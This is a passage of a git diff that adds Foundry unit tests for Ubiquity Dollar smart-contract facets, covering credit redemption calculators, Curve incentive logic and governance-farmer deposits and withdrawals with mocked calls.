creditNftManagerFacet.mintClaimableDollars(); + uint256 afterBalance = dollarToken.balanceOf(creditNftManagerAddress); + assertEq(afterBalance - beforeBalance, 50); + } +} diff --git a/packages/contracts/test/diamond/facets/CreditNftRedemptionCalculatorFacet.t.sol b/packages/contracts/test/diamond/facets/CreditNftRedemptionCalculatorFacet.t.sol new file mode 100644 index 000000000..11c060aef --- /dev/null +++ b/packages/contracts/test/diamond/facets/CreditNftRedemptionCalculatorFacet.t.sol @@ -0,0 +1,37 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "../DiamondTestSetup.sol"; + +contract CreditNftRedemptionCalculatorFacetTest is DiamondTestSetup { + function setUp() public virtual override { + super.setUp(); + vm.prank(admin); + dollarToken.mint(admin, 10000e18); + uint256 admSupply = dollarToken.balanceOf(admin); + assertEq(admSupply, 10000e18); + + vm.startPrank(admin); + managerFacet.setCreditNftAddress(address(creditNft)); + accessControlFacet.grantRole(CREDIT_NFT_MANAGER_ROLE, address(this)); + accessControlFacet.grantRole( + GOVERNANCE_TOKEN_MINTER_ROLE, + address(this) + ); + vm.stopPrank(); + } + + function test_getCreditNftAmount_revertsIfDebtTooHigh() public { + creditNft.mintCreditNft(user1, 100000 ether, 1000); + vm.expectRevert("CreditNft to Dollar: DEBT_TOO_HIGH"); + creditNftRedemptionCalculationFacet.getCreditNftAmount(0); + } + + function test_getCreditNftAmount() public { + creditNft.mintCreditNft(user1, 5000 ether, 10); + assertEq( + creditNftRedemptionCalculationFacet.getCreditNftAmount(10000), + 40000 + ); + } +} diff --git a/packages/contracts/test/diamond/facets/CreditRedemptionCalculatorFacet.t.sol b/packages/contracts/test/diamond/facets/CreditRedemptionCalculatorFacet.t.sol new file mode 100644 index 000000000..ed0a1424b --- /dev/null +++ b/packages/contracts/test/diamond/facets/CreditRedemptionCalculatorFacet.t.sol @@ -0,0 +1,51 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "../DiamondTestSetup.sol"; +import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; + +contract CreditRedemptionCalculatorFacetTest is DiamondTestSetup { + function setUp() public virtual override { + super.setUp(); + vm.prank(admin); + dollarToken.mint(admin, 10000e18); + uint256 admSupply = dollarToken.balanceOf(admin); + assertEq(admSupply, 10000e18); + + vm.startPrank(admin); + accessControlFacet.grantRole(CREDIT_NFT_MANAGER_ROLE, address(this)); + creditNft.mintCreditNft(user1, 100, 10); + managerFacet.setCreditNftAddress(address(creditNft)); + vm.stopPrank(); + } + + function testSetConstant_ShouldRevert_IfCalledNotByAdmin() public { + vm.prank(user1); + vm.expectRevert("CreditCalc: not admin"); + creditRedemptionCalculationFacet.setConstant(2 ether); + } + + function testSetConstant_ShouldUpdateCoef() public { + vm.prank(admin); + creditRedemptionCalculationFacet.setConstant(2 ether); + assertEq(creditRedemptionCalculationFacet.getConstant(), 2 ether); + } + + function testGetCreditAmount_ShouldRevert_IfDebtIsTooHigh() public { + vm.mockCall( + managerFacet.dollarTokenAddress(), + abi.encodeWithSelector(IERC20.totalSupply.selector), + abi.encode(1) + ); + vm.expectRevert("Credit to Dollar: DEBT_TOO_HIGH"); + creditRedemptionCalculationFacet.getCreditAmount(1 ether, 10); + } + + function testGetCreditAmount_ShouldReturnAmount() public { + uint256 amount = creditRedemptionCalculationFacet.getCreditAmount( + 1 ether, + 10 + ); + assertEq(amount, 9999999999999999999); + } +} diff --git a/packages/contracts/test/diamond/facets/CurveDollarIncentiveFacet.t.sol b/packages/contracts/test/diamond/facets/CurveDollarIncentiveFacet.t.sol new file mode 100644 index 000000000..30200c478 --- /dev/null +++ b/packages/contracts/test/diamond/facets/CurveDollarIncentiveFacet.t.sol @@ -0,0 +1,245 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import {ManagerFacet} from "../../../src/dollar/facets/ManagerFacet.sol"; +import {UbiquityDollarToken} from "../../../src/dollar/core/UbiquityDollarToken.sol"; +import {CurveDollarIncentiveFacet} from "../../../src/dollar/facets/CurveDollarIncentiveFacet.sol"; +import {IERC20Ubiquity} from "../../../src/dollar/interfaces/IERC20Ubiquity.sol"; +import "../DiamondTestSetup.sol"; +import "forge-std/Test.sol"; + +contract CurveDollarIncentiveTest is DiamondTestSetup { + address stableSwapMetaPoolAddress = address(0x123); + address secondAccount = address(0x4); + address thirdAccount = address(0x5); + address mockReceiver = address(0x111); + address mockSender = address(0x222); + address managerAddr = address(0x333); + + address twapOracleAddress; + + event ExemptAddressUpdate(address indexed _account, bool _isExempt); + + function setUp() public override { + super.setUp(); + + twapOracleAddress = address(diamond); + + vm.startPrank(admin); + accessControlFacet.grantRole(CURVE_DOLLAR_MANAGER_ROLE, managerAddr); + vm.stopPrank(); + } + + function mockTwapFuncs(uint256 _twapPrice) public { + uint256 TWAP_ORACLE_STORAGE_POSITION = uint256( + keccak256("diamond.standard.twap.oracle.storage") + ) - 1; + uint256 dollarPricePosition = TWAP_ORACLE_STORAGE_POSITION + 2; + vm.store( + address(diamond), + bytes32(dollarPricePosition), + bytes32(_twapPrice) + ); + } + + function testIncentivizeShouldRevertWhenCallerNotUAD() public { + vm.expectRevert("CurveIncentive: Caller is not Ubiquity Dollar"); + curveDollarIncentiveFacet.incentivize( + address(0x111), + address(0x112), + 100 + ); + } + + function testIncentivizeShouldRevertIfSenderEqualToReceiver() public { + vm.startPrank(managerAddr); + vm.expectRevert("CurveIncentive: cannot send self"); + curveDollarIncentiveFacet.incentivize( + address(0x111), + address(0x111), + 100 + ); + } + + function testIncentivizeBuy() public { + vm.startPrank(admin); + + address stableSwapPoolAddress = managerFacet + .stableSwapMetaPoolAddress(); + IERC20 governanceToken = IERC20(managerFacet.governanceTokenAddress()); + uint256 amountIn; + + // 1. do nothing if the target address is included to exempt list + uint256 init_balance = governanceToken.balanceOf(mockReceiver); + + curveDollarIncentiveFacet.setExemptAddress(mockReceiver, true); + vm.stopPrank(); + + vm.prank(managerAddr); + curveDollarIncentiveFacet.incentivize( + stableSwapPoolAddress, + mockReceiver, + amountIn + ); + + uint256 last_balance = governanceToken.balanceOf(mockReceiver); + assertEq(last_balance, init_balance); + + // 2. do nothing if buyIncentive is off + init_balance = governanceToken.balanceOf(mockReceiver); + vm.startPrank(admin); + curveDollarIncentiveFacet.setExemptAddress(mockReceiver, false); + vm.stopPrank(); + + vm.prank(managerAddr); + curveDollarIncentiveFacet.incentivize( + stableSwapPoolAddress, + mockReceiver, + 100e18 + ); + + last_balance = governanceToken.balanceOf(mockReceiver); + assertEq(last_balance, init_balance); + + // 3. do nothing if no incentive + mockTwapFuncs(1e18); + init_balance = governanceToken.balanceOf(mockReceiver); + vm.startPrank(admin); + curveDollarIncentiveFacet.setExemptAddress(mockReceiver, false); + vm.stopPrank(); + + vm.prank(managerAddr); + curveDollarIncentiveFacet.incentivize( + stableSwapPoolAddress, + mockReceiver, + 100e18 + ); + + last_balance = governanceToken.balanceOf(mockReceiver); + assertEq(last_balance, init_balance); + + // 4. mint the incentive amount of tokens to the target address + init_balance = governanceToken.balanceOf(mockReceiver); + mockTwapFuncs(5e17); + vm.prank(managerAddr); + curveDollarIncentiveFacet.incentivize( + stableSwapPoolAddress, + mockReceiver, + 100e18 + ); + + last_balance = governanceToken.balanceOf(mockReceiver); + assertEq(last_balance - init_balance, 0); + } + + function testIncentivizeSell() public { + address stableSwapPoolAddress = managerFacet + .stableSwapMetaPoolAddress(); + address dollarAddress = managerFacet.dollarTokenAddress(); + IERC20 dollarToken = IERC20(dollarAddress); + + // 1. do nothing if the target address is included to exempt list + uint256 init_balance = dollarToken.balanceOf(mockSender); + vm.prank(admin); + curveDollarIncentiveFacet.setExemptAddress(mockSender, true); + + vm.prank(managerAddr); + curveDollarIncentiveFacet.incentivize( + mockSender, + stableSwapPoolAddress, + 100e18 + ); + + uint256 last_balance = dollarToken.balanceOf(mockSender); + assertEq(last_balance, init_balance); + + // 2. do nothing if buyIncentive is off + init_balance = dollarToken.balanceOf(mockSender); + vm.startPrank(admin); + curveDollarIncentiveFacet.setExemptAddress(mockSender, false); + vm.stopPrank(); + + vm.prank(managerAddr); + curveDollarIncentiveFacet.incentivize( + mockSender, + stableSwapPoolAddress, + 100e18 + ); + + last_balance = dollarToken.balanceOf(mockSender); + assertEq(last_balance, init_balance); + + // 3. do nothing if no penalty + mockTwapFuncs(1e18); + init_balance = dollarToken.balanceOf(mockSender); + vm.startPrank(admin); + curveDollarIncentiveFacet.setExemptAddress(mockSender, false); + vm.stopPrank(); + + vm.prank(managerAddr); + curveDollarIncentiveFacet.incentivize( + mockSender, + stableSwapPoolAddress, + 100e18 + ); + + last_balance = dollarToken.balanceOf(mockSender); + assertEq(last_balance, init_balance); + + // 4. burn the penalty amount of tokens from the target address + vm.prank(admin); + UbiquityDollarToken(dollarAddress).mint(mockSender, 10000e18); + init_balance = dollarToken.balanceOf(mockSender); + mockTwapFuncs(5e17); + + vm.prank(managerAddr); + curveDollarIncentiveFacet.incentivize( + mockSender, + stableSwapPoolAddress, + 100e18 + ); + + last_balance = dollarToken.balanceOf(mockSender); + assertEq(init_balance - last_balance, 0); + } + + function testSetExemptAddress_ShouldRevertOrSet_IfAdmin() public { + address exemptAddress = address(0x123); + vm.expectRevert("Manager: Caller is not admin"); + curveDollarIncentiveFacet.setExemptAddress(exemptAddress, true); + + assertEq( + curveDollarIncentiveFacet.isExemptAddress(exemptAddress), + false + ); + vm.prank(admin); + vm.expectEmit(true, true, false, true); + emit ExemptAddressUpdate(exemptAddress, true); + curveDollarIncentiveFacet.setExemptAddress(exemptAddress, true); + assertEq( + curveDollarIncentiveFacet.isExemptAddress(exemptAddress), + true + ); + } + + function testSwitchSellPenalty_ShouldRevertOrSwitch_IfAdmin() public { + vm.expectRevert("Manager: Caller is not admin"); + curveDollarIncentiveFacet.switchSellPenalty(); + + assertEq(curveDollarIncentiveFacet.isSellPenaltyOn(), false); + vm.prank(admin); + curveDollarIncentiveFacet.switchSellPenalty(); + assertEq(curveDollarIncentiveFacet.isSellPenaltyOn(), true); + } + + function testSwitchBuyIncentive_ShouldRevertOrSwitch_IfAdmin() public { + vm.expectRevert("Manager: Caller is not admin"); + curveDollarIncentiveFacet.switchBuyIncentive(); + + assertEq(curveDollarIncentiveFacet.isBuyIncentiveOn(), false); + vm.prank(admin); + curveDollarIncentiveFacet.switchBuyIncentive(); + assertEq(curveDollarIncentiveFacet.isBuyIncentiveOn(), true); + } +} diff --git a/packages/contracts/test/diamond/facets/DirectGovernanceFarmerFacet.t.sol b/packages/contracts/test/diamond/facets/DirectGovernanceFarmerFacet.t.sol new file mode 100644 index 000000000..440ce09b5 --- /dev/null +++ b/packages/contracts/test/diamond/facets/DirectGovernanceFarmerFacet.t.sol @@ -0,0 +1,714 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "../../../src/dollar/mocks/MockERC20.sol"; +import {IERC20Ubiquity} from "../../../src/dollar/interfaces/IERC20Ubiquity.sol"; +import {IERC1155Ubiquity} from "../../../src/dollar/interfaces/IERC1155Ubiquity.sol"; +import {IUbiquityDollarManager} from "../../../src/dollar/interfaces/IUbiquityDollarManager.sol"; +import {DirectGovernanceFarmerFacet} from "../../../src/dollar/facets/DirectGovernanceFarmerFacet.sol"; +import "../DiamondTestSetup.sol"; +import "../../../src/dollar/interfaces/IStableSwap3Pool.sol"; +import "../../../src/dollar/interfaces/IStaking.sol"; +import "../../../src/dollar/interfaces/IStakingShare.sol"; +import "../../../src/dollar/interfaces/IDepositZap.sol"; + +contract DirectGovernanceFarmerFacetTest is DiamondTestSetup { + // DAI + MockERC20 token0; + // USDC + MockERC20 token1; + // USDT + MockERC20 token2; + + IERC20Ubiquity dollar; + + MockERC20 stableSwapMetaPool; + address dollarManagerAddress; + address depositZapAddress = address(0x4); + address base3PoolAddress = address(0x5); + + event DepositSingle( + address indexed sender, + address token, + uint256 amount, + uint256 durationWeeks, + uint256 stakingShareId + ); + event DepositMulti( + address indexed sender, + uint256[4] amount, + uint256 durationWeeks, + uint256 stakingShareId + ); + event WithdrawAll( + address indexed sender, + uint256 stakingShareId, + uint256[4] amounts + ); + + function setUp() public override { + super.setUp(); + + vm.startPrank(admin); + dollarManagerAddress = address(diamond); + + dollar = IERC20Ubiquity( + IUbiquityDollarManager(dollarManagerAddress).dollarTokenAddress() + ); + + // deploy mocked tokens + token0 = new MockERC20("DAI", "DAI", 18); + token1 = new MockERC20("USDC", "USDC", 6); + token2 = new MockERC20("USDT", "USDT", 6); + // deploy stable swap meta pool + stableSwapMetaPool = new MockERC20( + "Stable swap meta pool token", + "Stable swap meta pool token", + 18 + ); + + IUbiquityDollarManager(address(diamond)).setStableSwapMetaPoolAddress( + address(stableSwapMetaPool) + ); + + IUbiquityDollarManager(address(diamond)).setStakingContractAddress( + address(0x50) + ); + + // mock base3Pool to return mocked token addresses + vm.mockCall( + base3PoolAddress, + abi.encodeWithSelector(IStableSwap3Pool.coins.selector, 0), + abi.encode(token0) + ); + vm.mockCall( + base3PoolAddress, + abi.encodeWithSelector(IStableSwap3Pool.coins.selector, 1), + abi.encode(token1) + ); + vm.mockCall( + base3PoolAddress, + abi.encodeWithSelector(IStableSwap3Pool.coins.selector, 2), + abi.encode(token2) + ); + + directGovernanceFarmerFacet.initialize( + address(diamond), + address(base3PoolAddress), + address(stableSwapMetaPool), + address(dollar), + address(depositZapAddress) + ); + + vm.stopPrank(); + } + + function test_ShouldMint() public { + vm.prank(admin); + dollar.mint(user1, 100e18); + } + + function testDeposit_ShouldRevert_IfAmountIsNotPositive() public { + address userAddress = address(0x100); + vm.prank(userAddress); + vm.expectRevert("amount must be positive value"); + directGovernanceFarmerFacet.depositSingle(address(token0), 0, 1); + } + + function test_Should_DebugMockCall_And_Return_Selector() public { + vm.mockCall( + base3PoolAddress, + abi.encodeWithSelector(IStableSwap3Pool.coins.selector), + abi.encode(token2) + ); + } + + function testIsMetaPoolCoinReturnTrueIfToken0IsPassed() public { + assertTrue(directGovernanceFarmerFacet.isMetaPoolCoin(address(token0))); + } + + function testIsMetaPoolCoinReturnTrueIfToken1IsPassed() public { + assertTrue(directGovernanceFarmerFacet.isMetaPoolCoin(address(token1))); + } + + function testIsMetaPoolCoinReturnTrueIfToken2IsPassed() public { + assertTrue(directGovernanceFarmerFacet.isMetaPoolCoin(address(token2))); + } + + function testIsMetaPoolCoinReturnTrueIfUbiquityDollarTokenIsPassed() + public + { + assertTrue(directGovernanceFarmerFacet.isMetaPoolCoin(address(dollar))); + } + + function testIsMetaPoolCoinReturnFalseIfTokenAddressIsNotInMetaPool() + public + { + assertFalse(directGovernanceFarmerFacet.isMetaPoolCoin(address(0))); + } + + function test_IsMetaPoolCoin() public view { + directGovernanceFarmerFacet.isMetaPoolCoin(address(0x2)); + } + + function testDeposit_ShouldRevert_IfTokenIsNotInMetapool() public { + address userAddress = address(0x100); + vm.prank(userAddress); + vm.expectRevert( + "Invalid token: must be DAI, USD Coin, Tether, or Ubiquity Dollar" + ); + directGovernanceFarmerFacet.depositSingle(address(0x250), 1, 1); + } + + function testDeposit_ShouldRevert_IfDurationIsNotValid() public { + address userAddress = address(0x100); + vm.prank(userAddress); + vm.expectRevert("duration weeks must be between 1 and 208"); + directGovernanceFarmerFacet.depositSingle(address(token1), 1, 0); + } + + function testWithdrawShouldRevertIfTokenIsNotInMetaPool() public { + address userAddress = address(0x100); + vm.prank(userAddress); + vm.expectRevert( + "Invalid token: must be DAI, USD Coin, Tether, or Ubiquity Dollar" + ); + directGovernanceFarmerFacet.withdraw(1, address(0)); + } + + function testDepositMultipleTokens_ShouldRevert_IfAmountsIsNotPositive() + public + { + address userAddress = address(0x100); + vm.prank(userAddress); + vm.expectRevert("amounts==0"); + directGovernanceFarmerFacet.depositMulti( + [uint256(0), uint256(0), uint256(0), uint256(0)], + 1 + ); + } + + function testDepositMultipleTokens_ShouldRevert_IfDurationIsNotValid() + public + { + address userAddress = address(0x100); + vm.prank(userAddress); + vm.expectRevert("duration weeks must be between 1 and 208"); + directGovernanceFarmerFacet.depositMulti( + [uint256(1), uint256(0), uint256(0), uint256(0)], + 0 + ); + } + + function testWithdrawMultiple_ShouldRevert_IfSenderIsNotBondOwner() public { + address userAddress = address(0x100); + address stakingShareAddress = address(0x102); + + // admin sets staking share addresses + vm.prank(admin); + IUbiquityDollarManager(dollarManagerAddress).setStakingShareAddress( + stakingShareAddress + ); + + vm.mockCall( + stakingShareAddress, + abi.encodeWithSelector(IERC1155Ubiquity.holderTokens.selector), + abi.encode([0]) + ); + + vm.prank(userAddress); + vm.expectRevert("!bond owner"); + directGovernanceFarmerFacet.withdrawId(1); + } + + function testWithdrawShouldRevertIfSenderIsNotBondOwner() public { + address userAddress = address(0x100); + address stakingShareAddress = address(0x102); + + // admin sets staking share addresses + vm.prank(admin); + IUbiquityDollarManager(dollarManagerAddress).setStakingShareAddress( + stakingShareAddress + ); + + vm.mockCall( + stakingShareAddress, + abi.encodeWithSelector(IERC1155Ubiquity.holderTokens.selector), + abi.encode([0]) + ); + + vm.prank(userAddress); + vm.expectRevert("sender is not true bond owner"); + directGovernanceFarmerFacet.withdraw(1, address(token0)); + } + + function testDeposit_ShouldDepositTokens() public { + address userAddress = address(0x100); + address stakingAddress = address(0x101); + address stakingShareAddress = address(0x102); + + // admin sets staking and staking share addresses + vm.startPrank(admin); + IUbiquityDollarManager(dollarManagerAddress).setStakingContractAddress( + stakingAddress + ); + IUbiquityDollarManager(dollarManagerAddress).setStakingShareAddress( + stakingShareAddress + ); + vm.stopPrank(); + + vm.startPrank(userAddress); + + // mint 100 DAI to user + token0.mint(userAddress, 100e18); + // user allows DirectGovernanceFarmerHarness to spend user's DAI + token0.approve(address(directGovernanceFarmerFacet), 100e18); + + // prepare mocks + vm.mockCall( + depositZapAddress, + abi.encodeWithSelector(IDepositZap.add_liquidity.selector), + abi.encode(100e18) + ); + vm.mockCall( + stakingAddress, + abi.encodeWithSelector(IStaking.deposit.selector), + abi.encode(1) + ); + vm.mockCall( + stakingShareAddress, + abi.encodeWithSignature( + "safeTransferFrom(address,address,uint256,uint256,bytes)", + address(directGovernanceFarmerFacet), + userAddress, + 1, + 1, + "0x" + ), + "" + ); + + vm.expectEmit( + true, + true, + true, + true, + address(directGovernanceFarmerFacet) + ); + emit DepositSingle(userAddress, address(token0), uint256(100e18), 1, 1); + // user deposits 100 DAI for 1 week + uint256 stakingShareId = directGovernanceFarmerFacet.depositSingle( + address(token0), + uint256(100e18), + 1 + ); + assertEq(stakingShareId, 1); + } + + // Multiple + + function testDepositMultipleTokens_ShouldDepositTokens() public { + address userAddress = address(0x100); + address stakingAddress = address(0x101); + address stakingShareAddress = address(0x102); + + // admin sets staking and staking share addresses + vm.startPrank(admin); + IUbiquityDollarManager(dollarManagerAddress).setStakingContractAddress( + stakingAddress + ); + IUbiquityDollarManager(dollarManagerAddress).setStakingShareAddress( + stakingShareAddress + ); + vm.stopPrank(); + + // mint 100 Dollars to user + vm.startPrank(admin); + dollar.mint(userAddress, 99e18); + vm.stopPrank(); + + vm.startPrank(userAddress); + // user allows DirectGovernanceFarmerHarness to spend user's Dollars + dollar.approve(address(directGovernanceFarmerFacet), 99e18); + assertEq(dollar.balanceOf(userAddress), 99e18); + // mint 100 DAI to user + token0.mint(userAddress, 99e18); + // user allows DirectGovernanceFarmerHarness to spend user's DAI + token0.approve(address(directGovernanceFarmerFacet), 99e18); + assertEq(token0.balanceOf(userAddress), 99e18); + // mint 100 USDC to user + token1.mint(userAddress, 98e18); + // user allows DirectGovernanceFarmerHarness to spend user's USDC + token1.approve(address(directGovernanceFarmerFacet), 98e18); + assertEq(token1.balanceOf(userAddress), 98e18); + // mint 100 USDT to user + token2.mint(userAddress, 97e18); + // user allows DirectGovernanceFarmerHarness to spend user's USDT + token2.approve(address(directGovernanceFarmerFacet), 97e18); + assertEq(token2.balanceOf(userAddress), 97e18); + + // prepare mocks + vm.mockCall( + depositZapAddress, + abi.encodeWithSelector( + IDepositZap.add_liquidity.selector, + address(stableSwapMetaPool), + [ + uint256(99e18), + uint256(99e18), + uint256(98e18), + uint256(97e18) + ], + 0 + ), + abi.encode(42e18) + ); + vm.mockCall( + stakingAddress, + abi.encodeWithSelector(IStaking.deposit.selector, 42e18, 8), + abi.encode(12) + ); + vm.mockCall( + stakingShareAddress, + abi.encodeWithSignature( + "safeTransferFrom(address,address,uint256,uint256,bytes)", + address(directGovernanceFarmerFacet), + userAddress, + 12, + 1, + "0x" + ), + "" + ); + + vm.expectEmit( + true, + true, + true, + true, + address(directGovernanceFarmerFacet) + ); + emit DepositMulti( + userAddress, + [uint256(99e18), uint256(99e18), uint256(98e18), uint256(97e18)], + 8, + 12 + ); + + // user deposits 100 Dollars 99 DAI 98 USDC 97 USDT + uint256 stakingShareId = directGovernanceFarmerFacet.depositMulti( + [uint256(99e18), uint256(99e18), uint256(98e18), uint256(97e18)], + 8 + ); + assertEq(stakingShareId, 12); + assertEq(dollar.balanceOf(userAddress), 0); + assertEq(token0.balanceOf(userAddress), 0); + assertEq(token1.balanceOf(userAddress), 0); + assertEq(token2.balanceOf(userAddress), 0); + } + + function test_WithdrawShouldWithdraw() public { + address userAddress = address(0x100); + address stakingAddress = address(0x101); + address stakingShareAddress = address(0x102); + + // admin sets staking and staking share addresses + vm.startPrank(admin); + IUbiquityDollarManager(dollarManagerAddress).setStakingContractAddress( + stakingAddress + ); + IUbiquityDollarManager(dollarManagerAddress).setStakingShareAddress( + stakingShareAddress + ); + vm.stopPrank(); + + vm.startPrank(userAddress); + + // mint 100 DAI to user + token0.mint(userAddress, 100e18); + // user allows DirectGovernanceFarmerHarness to spend user's DAI + token0.approve(address(directGovernanceFarmerFacet), 100e18); + + // prepare mocks for deposit + vm.mockCall( + depositZapAddress, + abi.encodeWithSelector(IDepositZap.add_liquidity.selector), + abi.encode(100e18) + ); + vm.mockCall( + stakingAddress, + abi.encodeWithSelector(IStaking.deposit.selector), + abi.encode(1) + ); + vm.mockCall( + stakingShareAddress, + abi.encodeWithSignature( + "safeTransferFrom(address,address,uint256,uint256,bytes)", + address(directGovernanceFarmerFacet), + userAddress, + 1, + 1, + "0x" + ), + "" + ); + + // user deposits 100 DAI for 1 week + directGovernanceFarmerFacet.depositSingle(address(token0), 100e18, 1); + + // wait 1 week + 1 day + vm.warp(block.timestamp + 8 days); + + // prepare mocks for withdraw + uint256[] memory stakingShareIds = new uint256[](1); + stakingShareIds[0] = 1; + vm.mockCall( + stakingShareAddress, + abi.encodeWithSelector(IERC1155Ubiquity.holderTokens.selector), + abi.encode(stakingShareIds) + ); + + IStakingShare.Stake memory stake; + stake.lpAmount = 100e18; + vm.mockCall( + stakingShareAddress, + abi.encodeWithSelector(IStakingShare.getStake.selector), + abi.encode(stake) + ); + + vm.mockCall( + depositZapAddress, + abi.encodeWithSelector( + IDepositZap.remove_liquidity_one_coin.selector + ), + abi.encode(100e18) + ); + + directGovernanceFarmerFacet.withdraw(1, address(token0)); + } + + function testWithdrawMultiple_ShouldWithdraw() public { + address userAddress = address(0x100); + address stakingAddress = address(0x101); + address stakingShareAddress = address(0x102); + + // admin sets staking and staking share addresses + vm.startPrank(admin); + IUbiquityDollarManager(dollarManagerAddress).setStakingContractAddress( + stakingAddress + ); + IUbiquityDollarManager(dollarManagerAddress).setStakingShareAddress( + stakingShareAddress + ); + vm.stopPrank(); + + // mint 100 Dollars to user + vm.startPrank(admin); + dollar.mint(userAddress, 100e18); + vm.stopPrank(); + + vm.startPrank(userAddress); + // user allows DirectGovernanceFarmerHarness to spend user's Dollars + dollar.approve(address(directGovernanceFarmerFacet), 100e18); + assertEq(dollar.balanceOf(userAddress), 100e18); + // mint 100 DAI to user + token0.mint(userAddress, 100e18); + // user allows DirectGovernanceFarmerHarness to spend user's DAI + token0.approve(address(directGovernanceFarmerFacet), 99e18); + assertEq(token0.balanceOf(userAddress), 100e18); + // mint 100 USDC to user + token1.mint(userAddress, 100e18); + // user allows DirectGovernanceFarmerHarness to spend user's USDC + token1.approve(address(directGovernanceFarmerFacet), 98e18); + assertEq(token1.balanceOf(userAddress), 100e18); + // mint 100 USDT to user + token2.mint(userAddress, 100e18); + // user allows DirectGovernanceFarmerHarness to spend user's USDT + token2.approve(address(directGovernanceFarmerFacet), 97e18); + assertEq(token2.balanceOf(userAddress), 100e18); + + // prepare mocks for deposit + vm.mockCall( + depositZapAddress, + abi.encodeWithSelector(IDepositZap.add_liquidity.selector), + abi.encode(100e18) + ); + vm.mockCall( + stakingAddress, + abi.encodeWithSelector(IStaking.deposit.selector), + abi.encode(1) + ); + vm.mockCall( + stakingShareAddress, + abi.encodeWithSignature( + "safeTransferFrom(address,address,uint256,uint256,bytes)", + address(directGovernanceFarmerFacet), + userAddress, + 1, + 1, + "0x" + ), + "" + ); + + // user deposits 100 Dollars, 99 DAI 98 USDC 97 USDT for 1 week + directGovernanceFarmerFacet.depositMulti( + [uint256(100e18), uint256(99e18), uint256(98e18), uint256(97e18)], + 1 + ); + + // wait 1 week + 1 day + vm.warp(block.timestamp + 8 days); + + // prepare mocks for withdraw + uint256[] memory stakingShareIds = new uint256[](1); + stakingShareIds[0] = 1; + vm.mockCall( + stakingShareAddress, + abi.encodeWithSelector(IERC1155Ubiquity.holderTokens.selector), + abi.encode(stakingShareIds) + ); + + IStakingShare.Stake memory stake; + stake.lpAmount = 100e18; + vm.mockCall( + stakingShareAddress, + abi.encodeWithSelector(IStakingShare.getStake.selector), + abi.encode(stake) + ); + + vm.mockCall( + depositZapAddress, + abi.encodeWithSelector(IDepositZap.remove_liquidity.selector), + abi.encode([100e18, 99e18, 98e18, 97e18]) + ); + vm.expectEmit( + true, + true, + true, + true, + address(directGovernanceFarmerFacet) + ); + emit WithdrawAll( + userAddress, + 1, + [uint256(100e18), uint256(99e18), uint256(98e18), uint256(97e18)] + ); + uint256[4] memory tokenAmounts = directGovernanceFarmerFacet.withdrawId( + 1 + ); + vm.stopPrank(); + assertEq(tokenAmounts[0], 100e18); + assertEq(tokenAmounts[1], 99e18); + assertEq(tokenAmounts[2], 98e18); + assertEq(tokenAmounts[3], 97e18); + assertEq(dollar.balanceOf(userAddress), 100e18); + assertEq(token0.balanceOf(userAddress), 100e18); + assertEq(token1.balanceOf(userAddress), 100e18); + assertEq(token2.balanceOf(userAddress), 100e18); + } + + // END Multiple + + function testIsIdIncludedReturnTrueIfIdIsInTheList() public { + address userAddress = address(0x100); + address stakingAddress = address(0x101); + address stakingShareAddress = address(0x102); + + // admin sets staking and staking share addresses + vm.startPrank(admin); + IUbiquityDollarManager(dollarManagerAddress).setStakingContractAddress( + stakingAddress + ); + IUbiquityDollarManager(dollarManagerAddress).setStakingShareAddress( + stakingShareAddress + ); + vm.stopPrank(); + + vm.startPrank(userAddress); + token0.mint(userAddress, 100e18); + token0.approve(address(directGovernanceFarmerFacet), 100e18); + + // prepare mocks for deposit + vm.mockCall( + depositZapAddress, + abi.encodeWithSelector(IDepositZap.add_liquidity.selector), + abi.encode(100e18) + ); + vm.mockCall( + stakingAddress, + abi.encodeWithSelector(IStaking.deposit.selector), + abi.encode(1) + ); + vm.mockCall( + stakingShareAddress, + abi.encodeWithSignature( + "safeTransferFrom(address,address,uint256,uint256,bytes)", + address(directGovernanceFarmerFacet), + userAddress, + 1, + 1, + "0x" + ), + "" + ); + + directGovernanceFarmerFacet.depositSingle(address(token0), 1, 1); + vm.stopPrank(); + // run assertions + uint256[] memory list = new uint256[](1); + list[0] = 1; + assertTrue(directGovernanceFarmerFacet.isIdIncluded(list, 1)); + } + + function testIsIdIncludedReturnFalseIfIdIsNotInTheList() public { + address userAddress = address(0x100); + address stakingAddress = address(0x101); + address stakingShareAddress = address(0x102); + + // admin sets staking and staking share addresses + vm.startPrank(admin); + IUbiquityDollarManager(dollarManagerAddress).setStakingContractAddress( + stakingAddress + ); + IUbiquityDollarManager(dollarManagerAddress).setStakingShareAddress( + stakingShareAddress + ); + vm.stopPrank(); + + vm.startPrank(userAddress); + token0.mint(userAddress, 100e18); + token0.approve(address(directGovernanceFarmerFacet), 100e18); + + // prepare mocks for deposit + vm.mockCall( + depositZapAddress, + abi.encodeWithSelector(IDepositZap.add_liquidity.selector), + abi.encode(100e18) + ); + vm.mockCall( + stakingAddress, + abi.encodeWithSelector(IStaking.deposit.selector), + abi.encode(1) + ); + vm.mockCall( + stakingShareAddress, + abi.encodeWithSignature( + "safeTransferFrom(address,address,uint256,uint256,bytes)", + address(directGovernanceFarmerFacet), + userAddress, + 1, + 1, + "0x" + ), + "" + ); + + directGovernanceFarmerFacet.depositSingle(address(token0), 1, 1); + vm.stopPrank(); + + // run assertions + uint256[] memory list = new uint256[](1); + assertFalse(directGovernanceFarmerFacet.isIdIncluded(list, 2)); + } +} diff --git a/packages/contracts/test/diamond/facets/DollarMintCalculatorFacet.t.sol b/packages/contracts/test/diamond/facets/DollarMintCalculatorFacet.t.sol new file mode 100644 index 000000000..171a9cb7e --- /dev/null +++ b/packages/contracts/test/diamond/facets/DollarMintCalculatorFacet.t.sol @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "../DiamondTestSetup.sol"; +import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; + +contract DollarMintCalculatorFacetTest is DiamondTestSetup { + address dollarManagerAddress; + address dollarAddress; + address twapOracleAddress; + address dollarMintCalculatorAddress; + + function setUp() public virtual override { + super.setUp(); + dollarManagerAddress = address(diamond); + twapOracleAddress = address(diamond); + dollarMintCalculatorAddress = address(diamond); + dollarAddress = address(dollarToken); + } + + function mockTwapFuncs(uint256 _twapPrice) public { + 